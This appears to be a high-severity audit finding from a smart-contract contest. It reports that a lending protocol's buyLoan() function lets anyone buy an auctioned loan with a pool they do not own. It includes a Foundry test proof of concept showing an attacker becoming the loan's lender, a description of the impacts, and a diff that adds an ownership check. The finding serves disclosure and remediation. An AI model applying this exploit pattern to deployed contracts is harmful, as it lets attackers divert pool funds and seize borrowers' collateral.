20,000 USDC
View results
Submission Details
Severity: high
Valid

Anyone can buyLoan() with a pool that he does not own

Summary

The buying of a loan at an auction is not restricted to owners of a matching pool. This is not the intended behavior. The absence of this validation creates multiple attack vectors that will completely break the protocol.

Vulnerability Details

Lender.sol buyLoan() does not validate if the msg.sender is the owner of the pool used to buy the loan.

This will create a serious misaccounting of the contract information, since the loan will have the address of the buyLoan() msg.sender as the loan.lender, but the pool that provided the loan will have another lender.

The following POC can be pasted on Lender.t.sol

function test_buyLoan_WithoutPool() public {
    test_borrow();
    // accrue interest
    vm.warp(block.timestamp + 364 days + 12 hours);
    // kick off auction
    vm.startPrank(lender1);

    uint256[] memory loanIds = new uint256[](1);
    loanIds[0] = 0;

    lender.startAuction(loanIds);

    vm.startPrank(lender2);
    Pool memory p = Pool({
        lender: lender2,
        loanToken: address(loanToken),
        collateralToken: address(collateralToken),
        minLoanSize: 100*10**18,
        poolBalance: 1000*10**18,
        maxLoanRatio: 2*10**18,
        auctionLength: 1 days,
        interestRate: 1000,
        outstandingLoans: 0
    });
    bytes32 poolId = lender.setPool(p);

    // warp to middle of auction
    vm.warp(block.timestamp + 12 hours);

    address attacker = address(0x99);
    vm.startPrank(attacker);

    (, , , , uint256 poolBalanceBefore, , , , ) = lender.pools(lender.getPoolId(lender2, address(loanToken), address(collateralToken)));

    lender.buyLoan(0, poolId);

    (address lenderLoan, , , , , , , , , ) = lender.loans(0);
    (address lenderPool, , , , uint256 poolBalanceAfter, , , , ) = lender.pools(lender.getPoolId(lender2, address(loanToken), address(collateralToken)));

    // lender of the loan is the attacker
    assertEq(lenderLoan, attacker);
    // lender of the pool was not the msg.sender
    assertEq(lenderPool, lender2);
    // pool balance was used to fund the loan
    assertLt(poolBalanceAfter, poolBalanceBefore);

}

Impact

This are just a few ways that this can be exploited:

Will be impossible for the borrower to repay the loan, since the pool for the poolId can be empty.

SeizeLoan returns the collateral to the loan.lender (attacker that called buyLoan) instead of the lender of the pool which provided the loan.

And many more.

Tools Used

Foundry

Recommendations

diff --git a/src/Lender.sol b/src/Lender.sol

@@ -459,12 +459,18 @@ contract Lender is Ownable {
}

 /// @notice buy a loan in a refinance auction
 /// can be called by anyone but you must have a pool with tokens // @audit not enforced 
 /// @param loanId the id of the loan to refinance
 /// @param poolId the pool to accept
 function buyLoan(uint256 loanId, bytes32 poolId) public {
     // get the loan info
     Loan memory loan = loans[loanId];
  •    // validate the msg.sender is the owner of the pool
    
  •    if (msg.sender != pools[poolId].lender) revert Unauthorized();
    
  •    // validate the loan
       if (loan.auctionStartTimestamp == type(uint256).max)
           revert AuctionNotStarted();
    

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.